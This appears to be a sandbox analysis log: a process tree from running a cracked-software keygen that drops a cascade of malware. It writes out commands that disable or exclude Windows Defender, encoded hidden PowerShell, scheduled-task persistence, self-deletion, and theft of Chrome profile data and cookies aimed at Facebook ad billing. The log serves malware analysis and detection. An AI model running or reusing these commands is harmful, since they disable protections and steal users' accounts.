C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=6572 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7732 /prefetch:82⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\MUXPNae.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\MUXPNae.exe 9n /site_id 754 /S2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"3⤵
- Modifies data under HKEY_USERS
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp2_ZEBRA_PVC_crack.zip\ZEBRA_PVC_crack.exe"C:\Users\Admin\AppData\Local\Temp\Temp2_ZEBRA_PVC_crack.zip\ZEBRA_PVC_crack.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\CCD1.tmp.exe"C:\Users\Admin\AppData\Roaming\CCD1.tmp.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\CCD1.tmp.exe"5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK6⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe" 1 3.1617022315.6061cd6bc9127 1016⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PVM8QWOMMT\multitimer.exe" 2 3.1617022315.6061cd6bc91277⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\qhwnn02hhy2\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\qhwnn02hhy2\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-TAKIK.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-TAKIK.tmp\Setup3310.tmp" /SL5="$203D6,138429,56832,C:\Users\Admin\AppData\Local\Temp\qhwnn02hhy2\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-57P50.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-57P50.tmp\Setup.exe" /Verysilent10⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\VR\Versium Research\RunWW.exe"C:\Program Files (x86)\VR\Versium Research\RunWW.exe"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6388 -s 76812⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"11⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Executes dropped EXE
-
C:\Program Files (x86)\VR\Versium Research\customer5.exe"C:\Program Files (x86)\VR\Versium Research\customer5.exe"11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b edge13⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b chrome13⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b firefox13⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\VR\Versium Research\UgEwD2Otfx9I.exe"C:\Program Files (x86)\VR\Versium Research\UgEwD2Otfx9I.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵
-
C:\Program Files (x86)\VR\Versium Research\22.exe"C:\Program Files (x86)\VR\Versium Research\22.exe"11⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\4077614.exe"C:\ProgramData\4077614.exe"12⤵
- Executes dropped EXE
-
C:\ProgramData\4264480.exe"C:\ProgramData\4264480.exe"12⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"13⤵
- Executes dropped EXE
-
C:\Program Files (x86)\VR\Versium Research\lylal220.exe"C:\Program Files (x86)\VR\Versium Research\lylal220.exe"11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-AH1OK.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-AH1OK.tmp\lylal220.tmp" /SL5="$305EA,491750,408064,C:\Program Files (x86)\VR\Versium Research\lylal220.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-IPE2V.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-IPE2V.tmp\Microsoft.exe" /S /UID=lylal22013⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
-
C:\Program Files\Windows Media Player\WZOAZXKSJD\irecord.exe"C:\Program Files\Windows Media Player\WZOAZXKSJD\irecord.exe" /VERYSILENT14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-L4T6N.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-L4T6N.tmp\irecord.tmp" /SL5="$30434,6265333,408064,C:\Program Files\Windows Media Player\WZOAZXKSJD\irecord.exe" /VERYSILENT15⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\63-69fa6-423-65f90-6852e4ab524d7\Lyvolaquzha.exe"C:\Users\Admin\AppData\Local\Temp\63-69fa6-423-65f90-6852e4ab524d7\Lyvolaquzha.exe"14⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qbxr5vua.a1n\gaooo.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\qbxr5vua.a1n\gaooo.exeC:\Users\Admin\AppData\Local\Temp\qbxr5vua.a1n\gaooo.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3jmn0bif.35m\md7_7dfj.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\3jmn0bif.35m\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\3jmn0bif.35m\md7_7dfj.exe16⤵
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ofkzhzu3.ima\askinstall31.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\ofkzhzu3.ima\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\ofkzhzu3.ima\askinstall31.exe16⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe18⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y17⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/17⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffe6dc86e00,0x7ffe6dc86e10,0x7ffe6dc86e2018⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,5196052382749705715,1486235968488276714,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1620 /prefetch:818⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ftwo1lor.1ds\customer6.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\ftwo1lor.1ds\customer6.exeC:\Users\Admin\AppData\Local\Temp\ftwo1lor.1ds\customer6.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"17⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vhb2xpfd.rlr\HookSetp.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\vhb2xpfd.rlr\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\vhb2xpfd.rlr\HookSetp.exe16⤵
-
C:\ProgramData\1114116.exe"C:\ProgramData\1114116.exe"17⤵
- Suspicious behavior: SetClipboardViewer
-
C:\ProgramData\5626467.exe"C:\ProgramData\5626467.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\whbcvc4x.rhv\19.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\whbcvc4x.rhv\19.exeC:\Users\Admin\AppData\Local\Temp\whbcvc4x.rhv\19.exe16⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5amzuu1z.los\setup_10.2_mix.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\5amzuu1z.los\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\5amzuu1z.los\setup_10.2_mix.exe16⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\Microsoft\App\app.bat" "17⤵
- Checks computer location settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cniqqfks.s24\GcleanerWW.exe /mixone & exit15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5nfsqsu.bdq\b9706c20.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\e5nfsqsu.bdq\b9706c20.exeC:\Users\Admin\AppData\Local\Temp\e5nfsqsu.bdq\b9706c20.exe16⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vrh15dsp.0gs\setup.exe /8-2222 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\vrh15dsp.0gs\setup.exeC:\Users\Admin\AppData\Local\Temp\vrh15dsp.0gs\setup.exe /8-222216⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Late-Breeze'17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pg45mn3q.jsd\Four.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\pg45mn3q.jsd\Four.exeC:\Users\Admin\AppData\Local\Temp\pg45mn3q.jsd\Four.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe" 1 3.1617022594.6061ce824613b 10418⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\RPGIDRZA2U\multitimer.exe" 2 3.1617022594.6061ce824613b19⤵
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\WSEPT99PNL\setups.exe"C:\Users\Admin\AppData\Local\Temp\WSEPT99PNL\setups.exe" ll17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-G9HDB.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-G9HDB.tmp\setups.tmp" /SL5="$403F8,587771,264704,C:\Users\Admin\AppData\Local\Temp\WSEPT99PNL\setups.exe" ll18⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2mfl1xlj.zty\setup.exe /S /kr /site_id=754 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\2mfl1xlj.zty\setup.exeC:\Users\Admin\AppData\Local\Temp\2mfl1xlj.zty\setup.exe /S /kr /site_id=75416⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gAmifXGUX" /SC once /ST 09:27:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gAmifXGUX"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gAmifXGUX"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 14:54:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\fcNgRpc.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Drops file in Windows directory
- Creates scheduled task(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\16-eef95-10e-9a9a8-f112732e825ab\Pisysikyqu.exe"C:\Users\Admin\AppData\Local\Temp\16-eef95-10e-9a9a8-f112732e825ab\Pisysikyqu.exe"14⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-47NN2.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-47NN2.tmp\LabPicV3.tmp" /SL5="$3055E,239334,155648,C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-SQOLG.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-SQOLG.tmp\ppppppfy.exe" /S /UID=lab21413⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\VideoLAN\PFBXJZZNUM\prolab.exe"C:\Program Files\VideoLAN\PFBXJZZNUM\prolab.exe" /VERYSILENT14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-5IJR3.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-5IJR3.tmp\prolab.tmp" /SL5="$604DC,575243,216576,C:\Program Files\VideoLAN\PFBXJZZNUM\prolab.exe" /VERYSILENT15⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\fb-408b9-620-2a59a-177e84738c156\Lepaelimerae.exe"C:\Users\Admin\AppData\Local\Temp\fb-408b9-620-2a59a-177e84738c156\Lepaelimerae.exe"14⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0orrek12.zyp\gaooo.exe & exit15⤵
-
